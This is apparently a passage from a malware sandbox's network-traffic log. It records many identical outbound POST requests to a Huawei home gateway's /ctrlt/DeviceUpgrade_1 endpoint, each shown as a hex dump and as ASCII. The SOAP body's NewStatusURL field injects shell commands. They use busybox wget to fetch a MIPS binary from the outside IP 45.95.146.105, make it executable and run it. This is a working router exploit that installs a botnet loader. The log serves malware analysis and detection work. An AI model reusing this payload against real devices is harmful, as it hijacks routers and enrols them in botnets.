22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:17.308598995 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:24.732584953 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:39.324495077 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:09.276604891 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.13	46656	160.181.183.93	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:53:13.745197058 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:15.356560946 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:17.276611090 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:21.148700953 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:28.828532934 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 